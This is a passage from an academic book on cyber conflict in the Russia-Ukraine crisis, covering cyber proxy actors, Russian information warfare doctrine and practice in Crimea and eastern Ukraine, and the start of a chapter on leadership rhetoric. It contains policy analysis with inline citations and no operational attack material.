maritime privateering, it was: invented [by state rulers] at the turn of the seventeenth century. If a private undertaking that a ruler authorised met with success, s/he could claim a share in the profits. If the enterprise caused conflict with another state, the ruler could claim it was a private operation for which s/he could not be held responsible While some of the specific elements of maritime privateering are no longer relevant today, the general concept and logic for this type of behaviour still apply and exist today. For example, the Russian Government denied any involvement in the Ukrainian crisis for many months, in spite of eyewitness accounts and news reports plainly stating otherwise. One particularly horrible example of plausible deniability was the mass murder of the passengers on Malaysia Airlines flight 17. The benefits of plausible deniability also apply to the Ukrainian Government. The Ukrainian Cyber Forces, led by Eugene Dokukin, is a volunteer group that Feb. 28 Updates on the Crisis in Ukraine, The New York Times News Blog, February 28, 2014, http://thelede.blogs.nytimes. com/2014/02/28/latest-updates-tensions-in-ukraine/?_r=0. Kremlin website hit by powerful cyber attack, Reuters, March 14, 2014, http://www.reuters.com/article/2014/03/14/us-russia-kremlin-cybercrime-idUSBREA2D16T20140314. Cyber-attack cripples Ukraine s electronic election system ahead of presidential vote, RT, 24 May, 2014, http://www.rt.com/ news/161332-ukraine-president-election-virus/. Ukraine election narrowly avoided wanton destruction from hackers (+video), The Christian Science Monitor, June 17, 2015, http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers-video. Janice Thomson. Mercenaries, Pirates, and Sovereigns (Princeton, NJ: Princeton University Press, 1994), 21. occasionally publishes data from the Russian Ministry of the Interior, and at one point threatened to shut down the internet in the Crimea and other cities in eastern Ukraine.10 There is no evidence suggesting that the Ukrainian Government coordinates or directly supports any of the Ukrainian Cyber Forces activities, and my own research supports this conclusion. At the same time, the Government benefits from its activities with or without its involvement. For the Ukrainian Government, another set of incentives is arguably more important than the political ones: its own limited capabilities, and the possibility to rely on proxy actors to augment these capabilities in the face of a much more powerful opponent. The Russian Government is considered to be among the most sophisticated actors with significant in-house cyber capabilities,11 and the government in Ukraine faced a dire situation at the beginning of the conflict. Its military had essentially been falling apart since the end of the Soviet Union and Kyiv was ill-prepared for a conflict with Russia. As Dmitry Gorenburg points out: At the time of its creation, the Ukrainian military was considered the fourth most powerful conventional military force in the world, behind only the United States, Russia, and China. However, these forces were allowed to atrophy throughout the post-Soviet period, with virtually no funding provided for the maintenance of equipment or troop training. Reforms were not carried out and there were no attempts at rearmament to replace aging Soviet equipment The responses from several interviewees confirmed this assessment. Capabilities Outside the State In order for a state to be able to pursue the incentives of using proxy actors, private actor capabilities must exist in the first place. With regard to cyberspace, such capabilities include those present within a state s territory and beyond. Regarding the former, significant capabilities have been present in Ukraine and Eastern Europe since the 1980s. Misha Glenny, the award-winning journalist, recounts in his 2011 book Dark Market How Hackers Became the New Mafia that: The hackers of Eastern Europe played a particularly important role in cracking security devices played on software Bulgaria, Ukraine and Russia set the pace, with the Romanians not far behind. Ukraine s Lonely Cyberwarrior vs. Russia, The Daily Beast, February 18, 2015, http://www.thedailybeast.com/articles/2015/02/18/ukraine-s-lonely-cyber-warrior.html. Russia Tops China as Principal Cyber Threat to US, The Diplomat, March 3, 2015, http://thediplomat.com/2015/03/russiatops-china-as-principal-cyber-threat-to-us/. Dmitry Gorenburg. Russia and Ukraine: Not the Military Balance You Think, War on the Rocks, November 10, 2015, http:// warontherocks.com/2014/11/russia-and-ukraine-not-the-military-balance-you-think/. Misha Glenny. McMafia: A Journey Through the Global Criminal Underworld (New York, Vintage Books: 2009), 59; see also Nadiya Kostyuk s chapter in this book. Ukraine was the cradle of CarderPlanet, which was changing the nature of cybercrime around the world .14 One explanation why technically skilled people in the region decided to pursue cybercrime to make a living was the lack of other opportunities. For example, a job in the Ukrainian Government for somebody in his 20s pays roughly $3,000 a year, not a month. And while Samsung has one of its largest R&D centres in Kyiv, the private IT industry is neither large nor attractive enough to absorb all of the skilled labour, unlike in Israel, for example.15 Interestingly, CarderPlanet was penetrated and compromised by the Russian Secret Police almost as soon as it was set up but: why would the KGB waste resources on investigating networks that are ripping off American and European credit cards? A complete waste of time. So for the moment, Moscow was content to observe and store information. They knew exactly who was who in the Odessa carding community Yet, it was not only the FSB that knew what was happening in Eastern European countries. In 2009, Brian Krebs, an expert on cybercrime in the region and widely read not only by law enforcement officials in the U.S. but also Ukraine, wondered: whether authorities in those countries would be any more willing to pursue cyber crooks in their own countries if they were forced to confront just how deeply those groups have penetrated key government and private computer networks in those regions? An example is Dmitry Ivanovich Golubov, once considered a top cybercrime boss by U.S. law enforcement, but now a leader of the Ukrainian Internet Party participating in parliamentary elections. Russian agencies reportedly provide little assistance with shutting down networks such as the Russian Business Network. Last but not least, cyber criminals also do their best to avoid attracting local law enforcement attention. As Krebs notes: Some of the most prolific and recognizable malware disbursed by Russian and East European cyber crime groups purposefully avoids infecting computers if the program detects the potential victim is a native resident. In sum, there is no shortage in the region of labour skilled in information technology and hacking, while a mature industry is missing, and government salaries of a few thousand dollars a year pale in comparison to reports of thousands or millions of dollars made in the latest cyber heist. Misha Glenny. McMafia: A Journey Through the Global Criminal Underworld, 48. Nearshoring: Top 20 largest In-House R&D offices in Ukraine, GoalEurope, October 4, 2013, http://goaleurope. com/2013/10/04/nearshore-outsourcing-top-20-largest-rd-offices-in-ukraine/. Misha Glenny. McMafia: A Journey Through the Global Criminal Underworld, 52-53. Story-Driven R : My Best Work 2005-2009, KrebsonSecurity, December 9, 2010, http://krebsonsecurity.com/2009/12/ story-driven-resume-my-best-work-2005-2009-3/. Mapping and Analysis of Proxy Actors There are several important findings regarding proxies and the conflict in Ukraine. The first is that proxy actors are active as part of the conflict in Ukraine. The second is that the amount of cyber proxy activity has remained relatively low. There are two likely explanations for this: there has been a relatively low number of significant cyber incidents associated with the conflict other than during its initial phase as described above; and while there was clearly a significant wave of patriotism and willingness by Ukrainian citizens to volunteer and support the government, several interviewees suggested that the government in Kyiv did not have the ability to absorb and coordinate these extra capacities. In other words, to draw from the political science literature on power, while significant cyber power resources in the hands of private actors existed, the Ukrainian Government was not able to effectively mobilise these resources to actually project power. Kyiv cyber power was inhibited by a lack of what Alexander Klimburg calls integrated national capability Thirdly, the conflict does not appear to have mobilised the most sophisticated non-state actors with cyber capabilities in the region the cybercriminals to change their profit-driven behaviour to more politically-driven action. While the Once cybercriminals realconflict apparently politicised and led to a ised that their spat started split of the criminal underground community in the autumn of 2014, the effect was to affect business, money ephemeral and once the cybercriminals trumped politics realised that their spat started to affect their business, money trumped politics , according to Konstatin Korsun, head of council at the NGO Ukrainian Information Security Group and director at the private cybersecurity company Berezha Security.19 A closer look reveals a range of proxy actors has been active. In the context of a broader analysis of the market for force, it is notable that the crisis in Ukraine demonstrated that cybersecurity is a domain where private actors possess significant capabilities and are used by states for both defensive and offensive purposes. For example, the limited capabilities of the Ukrainian Government have been augmented through NATO assistance, namely its Cyber Defence Trust Fund, to train and improve Ukraine s cyber defences. Interestingly, the lead NATO member providing that assistance, Romania, has itself not been providing this assistance directly through its government, but is relying on a proxy actor, a state-owned company called Rasirom, to provide the service.20 Joseph S. Nye, Jr. The Future of Power (New York: Public Affairs, 2011). Alexander Klimburg, Mobilising Cyber Power, Survival 53.1 (2011), 56. Kostiantyn Korsun, LinkedIn, accessed August 25, 2015, https://ua.linkedin.com/pub/kostiantyn-korsun/1b/12b/580. Romania Turns Hacking Crisis Into Advantage, Helping Ukraine, The New York Times, May 13, 2015, http://www.nytimes. com/aponline/2015/05/13/world/europe/ap-eu-romania-ukraine-cyber-warfare.html; NATO-Ukraine Trust Fund on Cyber Defence, Romania s Permanent Representation to NATO, accessed August 25, 2015, http://nato.mae.ro/en/local-news/804. While criminal groups have not been active players in the Ukraine conflict, the most prominent proxy actors have been hacktivist groups. These groups include proKyiv OpRussia, Russian CyberCommand (which considers itself to be part of Anonymous),21 Cyber Ukrainian Army, Cyber Hundred, Null Sector,22 and the pro-Moscow CyberBerkut and Anonymous Ukraine.23 Their activities have been limited to DDoS attacks, web defacements, and the occasional leaking of government files. The most serious incident involved the aforementioned targeting of the Ukrainian voting system during the Ukrainian Presidential election. While Ukrainian government officials and many news reports blame the Russian Government for indirectly orchestrating these operations, as well as for the crude hack attacks on Ukrainian state websites, the Russian Government has vehemently denied accusations that it has any influence over these groups. Evidence for a relationship between pro-Russian separatists or hacker groups such as Cyber Berkut and the Russian Government remains lacking. The Ukrainian Cyber Force has been among the most prominent Ukrainian hacktivist groups. It is led by Eugene Dokukin and a group of volunteers he recruited through social media, whose number has fluctuated from several dozens to a few hundred, and primarily includes ordinary citizens without a technical background.24 The Ukrainian Cyber Force combines a series of different activities, ranging from the unauthorised monitoring of CCTV cameras in eastern Ukraine and Russia, to reporting troop and separatist activities to web companies in an effort to shut down their accounts, launching DDoS attacks against websites, and leaking sensitive documents from the Russian Government. While Dokukin has given a series of interviews and shares information about his actions with the media and the government, there is no evidence that the government coordinates or supports him financially or otherwise. Instead, the government has been turning a blind eye. Related to the conflict in Ukraine are the findings of several industry reports. The U.S.-based security company FireEye published a report titled APT28: A Window into Russia s Cyber Espionage Operations? , detailing the activities of a group conducting political espionage against East European countries and security organisations. FireEye: conclude[s] that we are tracking a focused, long-standing espionage effort. Given the available data, we assess that APT28 s work is sponsored by the Russian Government Jeffrey Carr. Rival hackers fighting proxy war over Crimea, CNN, March 25, 2014, http://www.cnn.com/2014/03/25/opinion/ crimea-cyber-war/. Cyber Wars: The Invisible Front, Ukraine Investigation, April 24, 2014, http://ukraineinvestigation.com/cyber-wars-invisible-front/. Cyber Berkut Graduates From DDoS Stunts to Purveyor of Cyber Attack Tools, Recorded Future, June 8, 2015, https://www. recordedfuture.com/cyber-berkut-analysis/. Cyber warrior steps up effort to help in war with Russia, KyivPost, February 10, 2015, http://www.kyivpost.com/content/kyivpost-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html. APT28 A Window Into Russia s Cyber Espionage Operations? FireEye, October 27, 2014, https://www2.fireeye.com/apt28. html. Perhaps the most interesting report is the one published by the Finnish firm F-Secure titled BlackEnergy & Quedagh The convergence of crimeware and APT attacks . The authors highlight that in 2014, malware named BlackEnergy, originally developed and used for criminal profit-driven purposes, was deployed against government organisations in Ukraine by a group the report calls Quedagh . The report concludes by stating that: the use of BlackEnergy for a politically-oriented attack is an intriguing convergence of criminal activity and espionage. As the kit is being used by multiple groups, it provides a greater measure of plausible deniability than is afforded by a custom-made piece of code. Conclusion The conflict in Ukraine includes a range of proxy actors and proxy activity. This should be expected given the existence of a hot conflict, the presence of significant cyber capabilities in private hands, and incentives for the nations involved to use these private capabilities. However, the amount of cyber proxy activity has remained relatively low, much like the overall level of computer network operations compared to what some experts predicted. It is notable that the conflict does not appear to have politicised and mobilised the most sophisticated non-state actors with cyber capabilities the cybercriminals to change their profit-driven behaviour to more politically-driven action. Moreover, the Ukrainian Government has not had the capacity and strategy in place to be able to absorb the additional capabilities provided by volunteers. Kyiv has therefore not been able to mobilise and project the full potential of Ukraine s power due to the limited use of its true power resources. While the Ukrainian Government regularly accuses the Russian Government of using proxies, there seems to be less vehemence from the Russian side criticising, for example, the activities of the Ukrainian Cyber Forces. According to one interviewee, one explanation is that the Russian Government has more to gain from being able to point to the existence of Ukrainian proxies in order to thereby indirectly legitimise the existence of Russian proxies. While this chapter hopefully shed some light on the role of proxy actors in the Ukraine conflict, it is necessary to point to some important limitations and issues that were beyond the scope of this short piece. First, the term proxies lacks a clear definition. While it is used in the GGE report, it is not defined, even though the report distinguishes proxies as a separate type of actor from state and non-state actors. Developing a more systematic and nuanced analytical framework for proxies is therefore the focus of my current research. This will hopefully be useful for future empirical research on proxy actors around the world, as well as for ongoing policy discussions through the GGE and elsewhere. The convergence of crimeware and APT attacks, F-Secure, 2014, https://www.f-secure.com/documents/996508/1030745/ blackenergy_whitepaper.pdf. Chapter 10 Russian Information Warfare: Lessons from Ukraine Margarita Levin Jaitner Swedish Defense University Introduction Information is now a species of weapon ,1 write Russians Maj. Gen. (R) Ivan Vorobyev and Col. (R) Valery Kiselyov. Closer to the truth is that Russia has a long history of using information as a weapon both in the context of mobilising its own population2 and in demonising foreign powers.3 Therefore, it is only natural that Russia has employed Information Warfare (IW) in Ukraine: from the onset of the Euromaidan demonstrations, to the annexation of Crimea, and as a dimension of ongoing military operations in eastern Ukraine. And it is equally unsurprising that, in the internet era, Moscow has developed effective tactics for waging IW in cyberspace. This chapter discusses contemporary Russian IW theory and analyses Russian IW activities on the ground in Crimea and in eastern Ukraine. While the dynamic and diffuse nature of IW makes it difficult to gauge its precise impact, this chapter argues that Russian IW in Crimea and in eastern Ukraine has been highly successful, and that the West is currently playing catch up vis- -vis Russia in this arena. Vorobyov, I. and Kiseljov, V. Russian Military Theory: Past and Present. Military Thought 2013 (3). Peter Kenez. The birth of the propaganda state: Soviet methods of mass mobilization, 1917-1929 (Cambridge University Press, 1995). David M. Glantz. Surprise and Maskirovka in Contemporary War. Soviet Army Studies Office, Army Combined Arms Center, Fort Leavenworth KS, 1988). http://www.dtic.mil/get-tr-doc/pdf?Location=U2&doc=GetTRDoc.pdf&AD=ADA216491. Information Security and Cyber Security in Russian Military Theory In Russian government and academic circles, information is understood to be a form and source of great power. This was true well before the advent of the internet and cyberspace which have not changed Russian IW strategy, but only its tactics. In the West, cyber security and information security are considered to be two different things. In Russia, however, cyber is subordinate to information security, which allows national security planners to oversee both technical data (e.g. the integrity of password files) and cognitive data (e.g. political information on websites). Thus, any information found on the World Wide Web could be a missile fired at Russia that is more dangerous than a typical cyber attack as currently understood in the West. The logical consequence of this Russian perspective is to define and to protect the borders of the Russia information space and this philosophy is to be found easily in Russian doctrines, strategies, and activities both at home and abroad including in Ukraine. For example, Russia s National Security Strategy 2020 states that nationalist, separatist, radical religion is a danger to nation-states, and that a global information struggle is now intensifying. The document proposes to counter this threat by disseminating truthful information to Russian citizens, including via the promotion of native internet platforms encompassing social media.4 As for the importance of cyberspace, numerous official documents describe computer network operations as an integral part of Russian information security, including: Information Security Doctrine of the Russian Federation,5 ConInformation superiority in Views Regarding the Activities cyberspace is an essential goal. ceptual of the Armed Forces of the Russian Federation in the Information Space,6 and Basic Principles for State Policy of the Russian Federation in the Field of International Information Security.7 Academic discourse within the Russian military is similar. From a historical perspective, progress in computer science has wrought a new generation of warfare in which the achievement of information superiority in cyberspace is an essential goal. Within any desired zone of influence, this includes attacks against and defence of Security Council of the Russian Federation. 2020 (National Security Strategy to 2020) (Moscow, 2009). Security Council of the Russian Federation. 2000. . (Information Security Doctrine of the Russian Federation.) (Moscow, 2000). Ministry of Defence of the Russian Federation. . (Conceptual Views Regarding the Activities of the Armed Forces of the Russian Federation in the Information Space) (Moscow, 2011). Security Council of the Russian Federation. 2020 . (Basic Principles for State Policy of the Russian Federation in the Field of International Information Security to 2020.) (Moscow, 2013). both technical data and cognitive information, as well as and psychological operations, or PSYOPS. Maj. Gen. (R) Ivan Vorobyev and Col. Information can disorganise (R) Valery Kiselyov have written that governance, delude adversarinformation is not just an addition to ies and reduce an opponent firepower, attack, manoeuvre, but transforms and unites all of these .8 Col. (R) will to resist. Sergei Chekinov and Lt. Gen. (R) Sergei Bogdanov go even further: Today the means of information influence reached such perfection that they can tackle strategic tasks Checkinov and Bogdanov point out in the aftermath of the annexation of Crimea and the current destabilisation of Ukraine that information can be used to disorganise governance, organise anti-government protests, delude adversaries, influence public opinion, and reduce an opponent s will to resist. Furthermore, it is critical that such activities begin prior to the onset of traditional military operations.10 At least since Soviet times, Russia considers itself to be a victim of IW, engaged in a battle between the historical Russian world (of which Ukraine is a part) and the West where the US is its principal antagonist.11 Professor Igor Panarin has described first information war during the Cold War that resulted in the demise of the Soviet Union. Today, he sees an Operation ANTI-PUTIN modelled on an earlier Operation ANTI-STALIN . He contends that Western IW was behind both the Arab Spring12 and Euromaidan, and that WikiLeaks Julian Assange is an agent of the British MI6.13 Panarin believes there is a second information war taking place against countries such as Russia and Syria which began at least by the time of the Russo-Georgian war in 2008.14 Russian President Vladimir Putin has characterised the rift between Russia and the West as an incompatibility of values ( ).15 Panarin is far from being the only contemporary Russian military thinker arguing this line. A group of five authors recently wrote in Russia s Military Thought that The NATO countries led by the US have set up a powerful information operations (IO) system and are going on expanding and improving it Vorobyov and Kiseljov Russian Military Theory: Past and Present. Military Thought, 2013 (3). Sergei G. Checkinov and Sergei A. Bogdanov. Asymmetrical Actions to Maintain Russia s Military Security. Military Thought, 2010 (1). Sergei G. Checkinov and Sergei A. Bogdanov. The Art of War in the Early 21st Century: Issues and Opinions. Military Thought, 2015 (24). Igor Panarin. . (Information warfare and communications.). Moskva, Russia: Goryachaya Liniya Telekom, 2014a. Ibid. Igor Panarin. Posting on Facebook , 29 June, 2014b. http://www.facebook.com/permalink.php?story_fbid=487886764691548 &id=100004106865632&fref=ts. Accessed 19 December, 2014. Igor Panarin. 2014a. Vladimir Putin. . (Putin to defend traditional family values). Vesti, 12 December, 2013a. http://www.vesti.ru/doc.html?id=1166423; Vladimir Putin. (Our values unite us as peoples. Speech in Kyiv 27.07.2013.). YouTube, 2013b. https://www.youtube.com/ watch?v=YW1WYh_gvJg Accessed 20 December 2014. Dylevski, I.N., Elyas, V.P., Komov, S.A., Petrunin, A.N. & Zapivakhin V.O. Political and Military Aspects of the Russian Federation s State Policy on International Information Security. Military Thought, 2015 (24). Even Russia, however, is not a monolith.17 Some military scholars have criticised the prevailing view and have suggested that a distinction should be drawn between attacks on technical and cognitive data, detailing a technospheric war largely corresponding to the Western perception of cyber war .18 Similarly, a publicly available draft of the next Cyber Security Strategy of the Russian Federation problematises the difference between the Russian and the Western views on the matter, suggesting that cyber security and information security be treated as distinct challenges. However, to date these remain unimplemented proposals. Russian IW in Crimea and Novorossiya19 Russian IW in Ukraine began well before the current conflict. The Security Services of Ukraine (SBU) warned that its government officials had been targeted by Russian espionage malware (variously called Snake Uroboros or Turla ) since 2010.20,21,22 Successful cyber espionage can have a strategic impact. In a military context, it can be directly linked to a desire to gain information superiority on the battlefield,23 and can sometimes be easy to associate with ongoing military operations.24 In Crimea, just as soon as insignia-less armed fighters appeared on the scene (the same dynamic later occurred in eastThe course of events was ern Ukraine), Russian media referred to people who were good enveloped in a sophisticated them as friendly to civilians ,25 while the Ukrainian side effort to control the flow of called them the little green men from information. Russia. For weeks, Vladimir Putin26 and Balybin, C., Donskov, Yu. and Boyko A. Electronic Warfare Terminology in the Context of Information Operations. Military Thought, 2014 (23) 3. Yurii Starodubtsev, Vladimir Bukharin and Sergei Semenov (2012). (War in the technosphere). (Military Thought) 2012(7). Novorossiya historically a region north of the Black Sea, annexed by the Russian Empire following the Russo-Turkish wars. The term was revived to denote a confederation of the self-proclaimed Donetsk People s Republic and Lugansk People s Republic in eastern Ukraine. Security Service of Ukraine, SBU. . (Security Service of Ukraine warns of fake e-mails on behalf of public authorities). 26 September, 2014. http://www.sbu.gov.ua/sbu/control/uk/publish/article?art_id=132039&cat_id=39574. Snake Cyber-espionage Campaign Targetting Ukraine is Linked to Russia. InfoSecurity Magazine, 11 March 2014. http://www. infosecurity-magazine.com/news/snake-cyber-espionage-campaign-targetting-ukraine/. Turla: Spying tool targets governments and diplomats. Symantec, 7 August 2014. http://www.symantec.com/connect/blogs/ turla-spying-tool-targets-governments-and-diplomats. James J. Coyle. Russia Has Complete Information Dominance in Ukraine. Atlantic Council,12 May 2015. http://www.atlanticcouncil.org/blogs/new-atlanticist/russia-has-complete-informational-dominance-in-ukraine. Operation Armageddon: Cyber Espionage as a Strategic Component of Russian Modern Warfare. Lookingglass, 28 April 2015. https://lgscout.com/wp-content/uploads/2015/04/Operation_Armageddon_FINAL.pdf. Aleksandr Leonov. . (Future soldiers: The friendly men equipment in Crimea.). Forbes, 7 March 2014. http://m.forbes.ru/article.php?id=251676. Vladimir Putin. . (Putin: There are no Russian soldiers. This is Crimea s popular defense.). YouTube, 2014b. https://www.youtube.com/watch?v=qzKm7uxK8ws. Accessed 20 December 2014. Russian Defence Minister Sergei Shoigu27 denied the participation of Russian troops in the Crimea takeover even though Ukrainian troops on the peninsula were forced into a quick, large-scale surrender.2829 In warfare, there has always been a tight relationship between IW and traditional military operations. In Crimea, the entire course of events from the takeover of the Simferopol parliament to the disputed referendum and the Russian annexation of Crimea was enveloped in a sophisticated effort to control the flow of information. Russian IW extended across the entire spectrum of communication in both the cyber and non-cyber domains, targeting its physical, logical, and social layers. In early March, Ukrtelecom reported kinetically damaged fiber-optic trunk cables, as well as the temporary seizure of its company s offices. Further disclosures detailed the jamming of Ukrainian naval communications.30 SBU Chief Valentyn Nalyvaichenko declared that Ukrainian government officials mobile communications were subjected to an IP-telephonic attack .31 And on the World Wide Web, government sites and news portals suffered Distributed Denial of Service (DDoS) attacks and defacements all of which contributed to a significant information blackout.32,33 The hacktivist group Cyberberkut34 has repeatedly claimed to have gained access to telephone recordings and e-mail correspondence between Ukrainian, European Union (EU) and US officials and released some content to prove it. Cyberberkut also allegedly attacked the Ukrainian electronic voting system and defaced several NATO websites.35 The importance of gaining information superiority in warfare can be seen in how much time and resources have been spent in creating official, semi-official, and unofficial sources of war-related information, including dedicated channels on YouTube.36 The success of IW is hard to gauge, but these attacks likely made it more difficult for Kyiv to gain a clear picture of what was happening in Crimea which in turn presumably hampered its decision-making process. Even unsophisticated cyber attacks tend to generate significant media attention, and as a bonus can sow general distrust in systems and their security architecture.37 Sergey Shoigy. 2014. . (Shoigu on Russian military in Crimea: nonsense and provocation BBC Russkaya Sluzhba, 5 March 2014. http://www.bbc.co.uk/russian/russia/2014/03/140305_ crimea_troops_shoigu. Yuzhniy Kurier. . (The End. Ukrainian soldiers in Crimea surrender.). Yuzhniy Kuri er, March 19, 2014. http://courier.crimea.ua/news/courier/vlast/1146781.html. CNN. . (Ukrainian troops surrender to Crimean self-defence forces.). edited by RT, 19 March 2014. http://russian.rt.com/inotv/2014-03-19/CNN-Ukrainskie-vojska-v-Krimu. Tim Maurer and Scott Janz. The Russia-Ukraine Conflict: Cyber and Information Warfare in a Regional Context. The International Relations and Security Network, 17 October 2014. http://www.isn.ethz.ch/Digital-Library/Articles/Detail/?id=184345. Pierluigi Paganini. Crimea The Russian Cyber Strategy to Hit Ukraine. InfoSec Institute, 11 March 2014. http://resources. infosecinstitute.com/crimea-russian-cyber-strategy-hit-ukraine/. Tim Maurer and Scott Janz. The Russia-Ukraine Conflict: Cyber and Information Warfare in a Regional Context. Piret Pernik. Is All Quiet on the Cyber Front in the Ukrainian crisis? RKK ICDS International Centre for Defence and Security, 7 March 2014. http://www.icds.ee/et/blogi/artikkel/is-all-quiet-on-the-cyber-front-in-the-ukrainian-crisis/. http://cyber-berkut.org/en. Pierluigi Paganini. Crimea The Russian Cyber Strategy to Hit Ukraine. YouTube. 2014. Database query: . Accessed 13 December 2014. Tim Maurer and Scott Janz. The Russia-Ukraine Conflict: Cyber and Information Warfare in a Regional Context. Ukrainian military commentator Dmitry Tymchuk, speaking on behalf of the Information Resistance group,38 accused the interim government in Kyiv of lacking clarity and moving too slowly,39 and Ukrainian parliament (Verhovna Rada) member Gennady Moskal complained that Ukrainian troops had not received permission to use their weapons in time.40 Today, the war in eastern Ukraine can also be described as a hall of IW smoke and mirrors. On 17 April, 2014, Vladimir Putin referred to the south-eastern part of Ukraine as Novorossiya, and a similarly named confederation was formally created on May 24, 2014.41 However, an analysis of web data shows that cyber preparations were made prior to this announcement: Novorossiya websites such as novorus.info and novorossia.su were registered with who.is in March 2014, and the official websites of the People s Republics of Donetsk and Lugansk were registered before the entities came into being.42 Finally, Moscow has consistently denied that its military personnel are engaged in Ukraine, but web-based studies have found evidence of their deployments to Ukraine43 as well as their involvement in the crash of the Malaysian Airlines flight 17,44 via social media and imagery analysis.45 The Unique Characteristics of Russian IW The Russian political narrative aimed at both domestic and foreign audiences describes a Russian World Russian values , and even a Russian soul . The narrative s articulation begins at the very top, in the person of Vladimir Putin, and flows downward in a pyramidal fashion through traditional media and cyberspace all the down to the grassroots level. It targets not just Russian citizens but the entire Russian-speaking population of planet Earth. Beyond that, it is expected that the narrative s influence will organically spread outside the diaspora. The basic storyline is easy to comprehend and to convey, and is intended to be become a foundation for the interpretation of current and future world events. In this narrative, Russia is a misunderstood and misjudged superpower, and a necessary counterweight to Western liberal values. By contrast, the West has experienced Information Resistance is, according to its own description on http://sprotyv.info/en/about-us, a non-governmental project that aims to counteract external threats to the informational space of Ukraine . The group provides operational data and analytics. As one of the project s front figures, Dmitry Tymchuk has provided analysis to, amongst others, Kyiv Post and Huffington Post. Dimitro Tymchuk. (On betrayal). Gazeta.ua, March 2014. http://gazeta.ua/ru/blog/42707/o-predatelstve. Yuzhniy Kurier. . (The End. Ukrainian soldiers in Crimea surrender.). Yuzhniy Kurier, 19 March 2014. http://courier.crimea.ua/news/courier/vlast/1146781.html. Vladimir Putin. Phone-in with Vladimir Putin. (Transcript). 17 April 2014. http:// kremlin.ru/news/20796. See who.is listings for novorus.info (http://who.is/whois/novorus.info), novorossia.su (http://who.is/whois/novorossia.su) Selfie Soldiers: Russia Checks in to Ukraine. Vice News, 16 June, 2015. Bellingcat.com By and for citizen investigative journalists: Russia. http://www.bellingcat.com/tag /russia/. NATO ACO Allied Command Operations. New Satellite Imagery Exposes Russian Combat Troops Inside Ukraine NATO Allied Command Operations: News, 28 August 2014. http://aco.nato.int/new-satellite-imagery-exposes-russian-combat-troops-inside-ukraine.aspx. a decay of traditional values and acts hypocritically in the international arena. As a result, the West s philosophy, systems, and actions should not be trusted. At the bottom of the pyramid, the Russian political narrative is absorbed into individual group ideologies in different ways. For example, nationalists focus on Russia s historic power, while communist groups decry capitalism. Each group self-selects and customises the narrative in unique ways that correspond to their own natural biases. And this stovepiping dynamic also tends to bypass critical peer review from the wider public. This group dynamic capitalises on the pre-established interpersonal trust characteristic of online social media a by-product of information overload in the internet era. There are many groups which are naturally sceptical of mainstream information channels, such as the population of the Former Soviet Union, where citizens have long had little trust in official media. In Moscow, the word of friends and colleagues is immeasurably more important than that of mass media.46 One of the latest developments in this arena has been the rise of professional trolls and other (sometimes anonymous) opinion agents . Such operations (in Russian military terminology maskirovka ), or denial and deception) can be countered through the effective analysis of open source information, but usually not in a timely manner. Therefore, analysts and scholars must exercise caution, because online persona, images, messages, and campaigns can be wholly fabricated. Conclusion The global internet offers military and intelligence agencies the opportunity to expand and enhance IW, and it simultaneously presents their targets and victims with novel challenges. Russian IW both in traditional media and in cyberspace tangibly contributed to the successful annexation of Crimea, and is playing an important role in the ongoing crisis in eastern Ukraine. On balance, this author believes that Russia, and not the West, currently has the lead in contemporary IW. Unlike propaganda in Soviet times, which was largely a unidirectional, top-down phenomenon, today s IW encompasses a worldwide audience that is both narrative-bearing and narrative-developing. Domestic, diaspora, and foreign audiences interact with current events in real time as they travel through online platforms such as social media. This dynamic makes it more challenging for propagandists to predict how and where the narrative will evolve, but to some degree it is possible to presume how certain political groups will interpret the narrative and how they will describe it to their followers. In sum, the traditional fog of war has changed in the internet era. The ubiquity and anonymity of internet communications offer all nations including Russia Markku Lonkila. Russian Protest On-and Offline: The role of social media in the Moscow opposition demonstrations in December 2011. UPI FIIA Briefing Papers 98, 2012. In sum, the traditional fog of war has changed in the internet era. new IW opportunities, even as defenders also have more tools and tactics at their disposal to counter hostile actions. In Ukraine, conventional cyber attacks by Russia were negligible,47 but social media-based, narrative-focused attacks including disinformation have been common. And while it is possible to counter adversary operations with accurate open source analysis (for journalists,48 scholars, and activists49), this is unfortunately difficult to do in a timely manner. However, even unsophisticated cyber attacks such as DDoS and website defacements tend to garner widespread media exposure, and can sow distrust in the security of systems. This occurred during the invasion of Crimea, when Russia sought to capitalise on events that unfolded far too quickly for methodical information analysis to take place. Jessikka Aro. Yle Kioski Investigated: This is How Pro-Russia Trolls Manipulate Finns Online Check the List of Forums Favored by Propagandists . YLE Kioski, 24 June 2015. http://kioski.yle.fi/omat/troll-piece-2-english. Sites such as www.stopfake.org were launched inviting people to join the struggle against fake information about events in Ukraine by verifying online allegations. Stopfake.org. 2015. Accessed: 14 June 2015. http://www.stopfake.org; Bellingcat kontert Kritik mit neuen Satellitenbildern . Zeit Online. 12 June 2015. www.zeit.de/politik/ausland/2015-06/bellingcat-russland-mh17-satellitenfotos-manipulation; Dmitry Volchek and Claire Bigg. Ukrainian bloggers use social media to track Russian soldiers fighting in east . The Guardian, 3 June 2015. http://www.theguardian.com/world/2015/jun/03/bloggers-socialmedia-russian-soldiers-fighting-in-ukraine. Chapter 11 Missing in Action: Rhetoric on Cyber Warfare Liisa Past NATO CCD COE Introduction In the Russo-Ukrainian conflict, there has been much talk of hybrid warfare encompassing every aspect of war including cyber operations. Much of cyber operations is classified and hidden from public view, but there are numerous ways in which information becomes known, including via intelligence leaks and open source analysis. This chapter focuses on leadership communications and what they can tell us about conflict in cyberspace. In geopolitics, heads of state are the ultimate decision-makers, especially during a national security crisis. Leaders are expected to show rhetorical as well as executive leadership. The media takes it from there, but the public still struggles to find a consistent evaluation, primarily relying on experts and opinion leaders.1 As the head of state seeks his or her rally around the president moment,2 domestic and international observers analyse their explanations and emotions as well as their proffered initiatives and guidance.3 From a national podium, heads of state have an inherent advantage, as their arguments are more likely to resonate with the public than the opinions of leaders voicing a more local outlook Communication and discourse analysis in international affairs rests on the idea that language cannot be taken at face value. Words carry definitional meaning, but dif1 Timothy E Cook. Governing with the News (Chicago and London: University of Chicago Press, 1998). Birgitte Lebens Nacos. Terrorism and the Media: From the Iran Hostage Crisis to the Oklahoma City Bombing (New York: Columbia University Press, 1996). Jeffrey E Cohen. Presidential Responsiveness and Public Policy-Making, The Public and the Policies That Presidents Choose (Ann Arbor: The University of Michigan Press, 1997). Ibid, 32. ferent audiences will perceive them differently. Critical analysis can yield insight into the true beliefs and motivations of any speaker, including policy-makers. Meaning is mediated through language 5 and all words have social values 6 that vary with context. This chapter analyses Russian and Ukrainian leadership 